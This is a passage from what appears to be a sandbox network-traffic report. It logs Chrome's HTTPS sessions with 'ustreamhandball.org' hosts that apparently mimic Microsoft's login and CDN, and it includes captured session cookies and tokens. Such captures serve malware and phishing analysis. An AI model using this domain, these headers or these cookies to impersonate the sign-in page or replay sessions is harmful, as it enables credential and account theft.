2025-01-09 23:21:20 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2025-01-09 23:21:20 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:20 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:20 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:20 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49905	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:19 UTC	499	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:20 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:20 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:20 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:20 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:20 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:20 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:19 GMT
2025-01-09 23:21:20 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 41 35 39 34 34 41 34 46 46 32 35 38 45 0d 0a Data Ascii: Etag: 0x8DA5944A4FF258E
2025-01-09 23:21:20 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 32 38 20 4a 75 6e 20 32 30 32 32 20 32 30 3a 32 37 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2025-01-09 23:21:20 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49907	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:19 UTC	2429	OUT	POST /common/handlers/watson HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive Content-Length: 6195 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 6d79123f-f278-4173-b566-f561b534f115 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEGgQ3oaAaz-nM8JFm0zXKjAzrDaDUwowoq_N9XyQJbFd5hC0Iav5cWT2mgyuckT6oSl3rEzwyKq2lsR9D2ANhDnobxMs4_n-AxDLZmOgikh7Adp64gz68OgOyLGBdqxBRDUcC9QOqdYd_UyxvnXsIwyqpSOTPDpFplfDwwRTamlMJ_web8fjWYowpvyeI6Q7LSq4NgVin6To-Uq_x97otcSAA Content-Type: application/json; charset=UTF-8 hpgid: 6 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.ustreamhandball.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:19 UTC	6195	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 42 73 73 6f 49 6e 74 65 72 72 75 70 74 5f 43 6f 72 65 5f 65 61 46 2d 46 65 37 31 6f 5a 63 57 76 72 30 39 36 72 36 78 45 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 67 22 3a 36 2c 22 6d 73 67 22 3a 22 55 6e 63 61 75 67 68 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://aadcdn.ustreamhandball.org/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"","sc":1013,"hpg":6,"msg":"Uncaugh
2025-01-09 23:21:20 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:20 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:20 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 36 64 37 39 31 32 33 66 2d 66 32 37 38 2d 34 31 37 33 2d 62 35 36 36 2d 66 35 36 31 62 35 33 34 66 31 31 35 0d 0a Data Ascii: Client-Request-Id: 6d79123f-f278-4173-b566-f561b534f115
2025-01-09 23:21:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:20 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:21:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:19 GMT
2025-01-09 23:21:20 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:20 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:20 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:20 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49910	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:19 UTC	1982	OUT	GET /favicon.ico HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:20 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-09 23:21:20 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2025-01-09 23:21:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:19 GMT
2025-01-09 23:21:20 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:20 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:20 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:20 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}
2025-01-09 23:21:20 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2025-01-09 23:21:20 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:20 UTC	49	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 36 38 33 2e 36 20 2d 20 4e 43 55 53 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19683.6 - NCUS ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49919	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:20 UTC	997	OUT	GET /common/handlers/watson HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-09 23:21:20 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:20 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:20 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:21:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 30 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:20 GMT
2025-01-09 23:21:20 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:20 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:20 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:20 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:20 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:20 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49921	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:20 UTC	666	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:21 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:21 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
